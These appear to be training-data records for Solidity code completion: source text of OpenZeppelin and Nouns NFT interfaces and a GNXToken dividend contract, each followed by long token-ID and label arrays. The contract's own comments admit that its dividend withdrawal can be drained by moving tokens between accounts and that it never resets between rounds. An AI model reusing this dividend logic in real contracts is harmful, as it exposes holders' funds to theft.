contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: GPL-3.0 /// @title Interface for NounsDescriptor /********************************* * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░█████████░░█████████░░░ * * ░░░░░░██░░░████░░██░░░████░░░ * * ░░██████░░░████████░░░████░░░ * * ░░██░░██░░░████░░██░░░████░░░ * * ░░██░░██░░░████░░██░░░████░░░ * * ░░░░░░█████████░░█████████░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * *********************************/ pragma solidity ^0.8.6; import { INounsSeeder } from './INounsSeeder.sol'; interface INounsDescriptor { event PartsLocked(); event DataURIToggled(bool enabled); event BaseURIUpdated(string baseURI); function arePartsLocked() external returns (bool); function isDataURIEnabled() external returns (bool); function baseURI() external returns (string memory); function palettes(uint8 paletteIndex, uint256 colorIndex) external view returns (string memory); function backgrounds(uint256 index) external view returns (string memory); function bodies(uint256 index) external view returns (bytes memory); function accessories(uint256 index) external view returns (bytes memory); function heads(uint256 index) external view returns (bytes memory); function glasses(uint256 index) external view returns (bytes memory); function backgroundCount() external view returns (uint256); function bodyCount() external view returns (uint256); function accessoryCount() external view returns (uint256); function headCount() external view returns (uint256); function glassesCount() external view returns (uint256); function addManyColorsToPalette(uint8 paletteIndex, string[] calldata newColors) external; function addManyBackgrounds(string[] calldata backgrounds) external; function addManyBodies(bytes[] calldata bodies) external; function addManyAccessories(bytes[] calldata accessories) external; function addManyHeads(bytes[] calldata heads) external; function addManyGlasses(bytes[] calldata glasses) external; function addColorToPalette(uint8 paletteIndex, string calldata color) external; function addBackground(string calldata background) external; function addBody(bytes calldata body) external; function addAccessory(bytes calldata accessory) external; function addHead(bytes calldata head) external; function addGlasses(bytes calldata glasses) external; function lockParts() external; function toggleDataURIEnabled() external; function setBaseURI(string calldata baseURI) external; function tokenURI(uint256 tokenId, INounsSeeder.Seed memory seed) external view returns (string memory); function dataURI(uint256 tokenId, INounsSeeder.Seed memory seed) external view returns (string memory); function genericDataURI( string calldata name, string calldata description, INounsSeeder.Seed memory seed ) external view returns (string memory); function generateSVGImage(INounsSeeder.Seed memory seed) external view returns (string memory); } // SPDX-License-Identifier: GPL-3.0 /// @title Interface for NounsSeeder /********************************* * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░█████████░░█████████░░░ * * ░░░░░░██░░░████░░██░░░████░░░ * * ░░██████░░░████████░░░████░░░ * * ░░██░░██░░░████░░██░░░████░░░ * * ░░██░░██░░░████░░██░░░████░░░ * * ░░░░░░█████████░░█████████░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * *********************************/ pragma solidity ^0.8.6; import { INounsDescriptor } from './INounsDescriptor.sol'; interface INounsSeeder { struct Seed { uint48 background; uint48 body; uint48 accessory; uint48 head; uint48 glasses; } function generateSeed(uint256 nounId, INounsDescriptor descriptor) external view returns (Seed memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
SPDX-License-Identifier: GPL-3.0 @title Interface for NounsToken******************************** ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░█████████░░█████████░░░ ░░░░░░██░░░████░░██░░░████░░░ ░░██████░░░████████░░░████░░░ ░░██░░██░░░████░░██░░░████░░░ ░░██░░██░░░████░░██░░░████░░░ ░░░░░░█████████░░█████████░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ /
import { IERC721 } from '@openzeppelin/contracts/token/ERC721/IERC721.sol';
1,189,809
[ 1, 4625, 348, 7953, 560, 30, 225, 11405, 28826, 17, 13211, 17, 3004, 30, 4948, 48, 17, 23, 18, 20, 632, 2649, 6682, 364, 423, 465, 87, 1345, 5021, 225, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 225, 225, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 225, 225, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 244, 163, 249, 244, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 244, 163, 249, 244, 163, 249, 244, 225, 225, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 235, 163, 249, 235, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 244, 163, 249, 244, 163, 249, 235, 163, 249, 235, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 244, 163, 249, 244, 163, 249, 244, 225, 225, 163, 249, 244, 163, 249, 244, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 235, 163, 249, 244, 163, 249, 244, 163, 249, 244, 225, 225, 163, 249, 244, 163, 249, 244, 163, 249, 235, 163, 249, 235, 163, 249, 244, 163, 249, 244, 163, 249, 235, 163, 249, 235, 163, 249, 244, 163, 249, 244, 163, 249, 244, 163, 249, 235, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; // Token protocols import {IERC20Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import {ERC20Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import {IERC1363Upgradeable} from "@openzeppelin/contracts-upgradeable/interfaces/IERC1363Upgradeable.sol"; import {ERC1363Upgradeable} from "./ERC1363Upgradeable.sol"; // Peripheral protocols import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import {ContextUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; // Access control import {AccessControlUpgradeable} from "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; // Proxy Upgrades import {UUPSUpgradeable} from "@openzeppelin/contracts/proxy/utils/UUPSUpgradeable.sol"; // Interface detection import {IERC165Upgradeable} from "@openzeppelin/contracts-upgradeable/interfaces/IERC165Upgradeable.sol"; import {ERC165Upgradeable} from "@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol"; interface IGNXToken is IERC20Upgradeable { // Mints new GNX Tokens function mint(address _address, uint256 _amount) external returns (bool); // Burns existing GNX Tokens function burn(address _address, uint256 _amount) external returns (bool); // Issuer's address function issuer() external view returns (address); // Dividend's system function depositDividend() external payable returns (uint256); function withdrawDividend(address _recipient) external returns (uint256); function withdrawableDividendOf(address _address) external returns (uint256); event dividendDeposited(address indexed from, uint256 amount); event dividendWithdrawn(address indexed from, address indexed to, uint256 amount); } // @title Upgradeable ERC1363 (extender ERC20) base GNX wrapper token with dividend functionality // // @notice Upgradeable ERC1363 with AccessControl using Open Zeppelin's implementation // Inheritance must follow this path for C3 solidity linearization contract GNXToken is Initializable, ContextUpgradeable, ERC165Upgradeable, AccessControlUpgradeable, ERC1363Upgradeable, UUPSUpgradeable, IGNXToken { // !NOTE : Maybe convert these to functions and label these as private? // They need to be public? /// Issuer's role bytes32 public constant ROLE_ISSUER = keccak256("ISSUER"); /// Minter role bytes32 public constant ROLE_MINTER = keccak256("MINTER"); // Issuer's address address public override(IGNXToken) issuer; function initialize( string memory _name, string memory _symbol, uint256 _initialSupply, address _issuer, address _minter, address _admin ) public initializer { // init funtions __Context_init_unchained(); __ERC165_init_unchained(); __ERC20_init_unchained(_name, _symbol); __AccessControl_init_unchained(); // set vars and roles issuer = _issuer; // sets public issuer address _setupRole(DEFAULT_ADMIN_ROLE, _admin); // sets the admin role _setupRole(ROLE_ISSUER, _issuer); // sets the issuer role _setupRole(ROLE_MINTER, _minter); // sets the minter role _setRoleAdmin(ROLE_ISSUER, ROLE_ISSUER); // sets the admin of ROLE_ISSUER to // ROLE_ISSUER, making them their // own admin. _mint(_issuer, _initialSupply); // mints initial supply } /// @inheritdoc ERC165Upgradeable function supportsInterface(bytes4 interfaceId) public view override(ERC165Upgradeable, AccessControlUpgradeable, ERC1363Upgradeable) returns (bool) { return interfaceId == type(IERC20Upgradeable).interfaceId || interfaceId == type(IERC1363Upgradeable).interfaceId || super.supportsInterface(interfaceId); } // UUPS compliant by adding access control (onlyRole) // // @notice Refer to ERC1967Proxy, UUPSUpgradeable, TransparentUpgradeableProxy. // // @notice Inherit UUPSUpgradeable and add access control to create UUPS compliant // implementation. TransparentUpgradeableProxy and UUPS implementation // cannot be used together. // // @param newImplementation New implementation contract address function _authorizeUpgrade(address newImplementation) internal override(UUPSUpgradeable) onlyRole(DEFAULT_ADMIN_ROLE) { } // Mints new GNXTokens to recipient // // @notice Only accessible to ROLE_MINTER // // @param _recipient Recipient of the new tokens // @param _amount Quantity minted // @return Bool whether or not mint was succesful or failed. function mint(address _recipient, uint256 _amount) public override(IGNXToken) onlyRole(ROLE_MINTER) returns (bool) { _mint(_recipient, _amount); return true; } /// Burns existing GNXTokens from address /// /// @notice Only accessible to ROLE_MINTER /// /// @param _from Address to burn tokens from /// @param _amount Quantity burned function burn(address _from, uint256 _amount) public override(IGNXToken) onlyRole(ROLE_MINTER) returns (bool) { _burn(_from, _amount); return true; } /// Change issuer address /// /// @notice Callable by the issuer to chance his own ownership address /// /// @notice onlyRole() is not needed here, since the equivalent check is /// already done by `grantRole`, which only allows the role's admin, which /// is the ISSUER_ROLE itself, to grant the role. /// /// @param _newIssuer New address of the issuer function changeIssuerWallet(address _newIssuer) public { issuer = _newIssuer; grantRole(ROLE_ISSUER, _newIssuer); revokeRole(ROLE_ISSUER, msg.sender); } ///////////////// // DIVIDENDS // ///////////////// // Maps withdrawn dividends to token holders; mapping(address => uint256) internal withdrawnDividends; // Deposit dividend // // Dividends need to be withdrawn in portion to totalSupply function depositDividend() public payable override onlyRole(ROLE_ISSUER) returns (uint256) { require(msg.value > 0, "GNX: cannot deposit 0"); emit dividendDeposited(msg.sender, msg.value); return msg.value; } // Withdraw occurs in proportion to total ether amount held in contract // Current risk is multi-withdraw: if a msg.sender withdraws, the "withdraw points" are added // to their account. They then send their tokens to another acount with no "withdraw points," // and they can redeem the same amount from that account. Repeat until the pool is empty of // redeemable dividends. // Possible solution --> Burn the token // Second solution --> prevent transfer for 4 days // Third solution --> replace token with a different token temporarily function withdrawDividend(address _recipient) public override returns (uint256) { require(address(this).balance > 0, "GNX: no dividends available"); // contract must have value require(balanceOf(msg.sender) > 0, "GNX: no tokens"); // sender must have some tokens // Check if user has already withdrawn max amount uint256 withdrawableDividend = withdrawableDividendOf(msg.sender); require(withdrawableDividend > 0,"GNX: already withdrawn"); // Send dividend and update withdrawn amount withdrawnDividends[msg.sender] += withdrawableDividend; // update amount withdrawn payable(_recipient).transfer(withdrawableDividend); // sends amount emit dividendWithdrawn(msg.sender, _recipient, withdrawableDividend); return withdrawableDividend; } // Problem ! Currently doesn't reset the withdrawable amount, so if the user // withdraws, and the guy pays another dividend, the guy can't withdraw // from the new epoch. // Solution --> need to reset withdrawable amount, record dividend q's // Solution --> enforce in front-end? Not ideal. function withdrawableDividendOf(address _address) public view override returns (uint256) { require(address(this).balance > 0, "GNX: no dividends available"); // unecessary? require(balanceOf(_address) > 0, "GNX: no tokens"); // unecessary? uint256 dividend = (address(this).balance * balanceOf(_address)) / totalSupply(); uint256 withdrawableDividend = dividend - withdrawnDividends[_address]; return withdrawableDividend; } // allows a token holder to lock accrued dividends to sell token --> IMPLEMENT // function lockDividends() // undistributed dividends to see how much locked in the contract // function totalDividends() }
Maps withdrawn dividends to token holders;
mapping(address => uint256) internal withdrawnDividends;
5,521,103
[ 1, 4625, 348, 7953, 560, 30, 225, 19837, 598, 9446, 82, 3739, 350, 5839, 358, 1147, 366, 4665, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 2713, 598, 9446, 82, 7244, 350, 5839, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 